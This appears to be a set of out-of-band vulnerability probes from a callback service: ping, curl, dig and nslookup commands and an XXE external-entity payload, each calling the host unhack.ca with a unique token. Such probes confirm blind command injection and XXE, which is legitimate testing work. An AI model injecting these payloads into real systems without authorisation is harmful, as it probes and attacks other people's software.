$ ping -c1 -p 00559a826043e5fbbf60209abfacbd00 unhack.ca
$ curl http://unhack.ca/p/559a826043e5fbbf60209abfacbd
$ dig 559a826043e5fbbf60209abfacbd @unhack.ca
$ dig 559a826043e5fbbf60209abfacbd.ns.unhack.ca
C:\> nslookup 559a826043e5fbbf60209abfacbd unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/559a826043e5fbbf60209abfacbd">]> <foo>&xxe;</foo>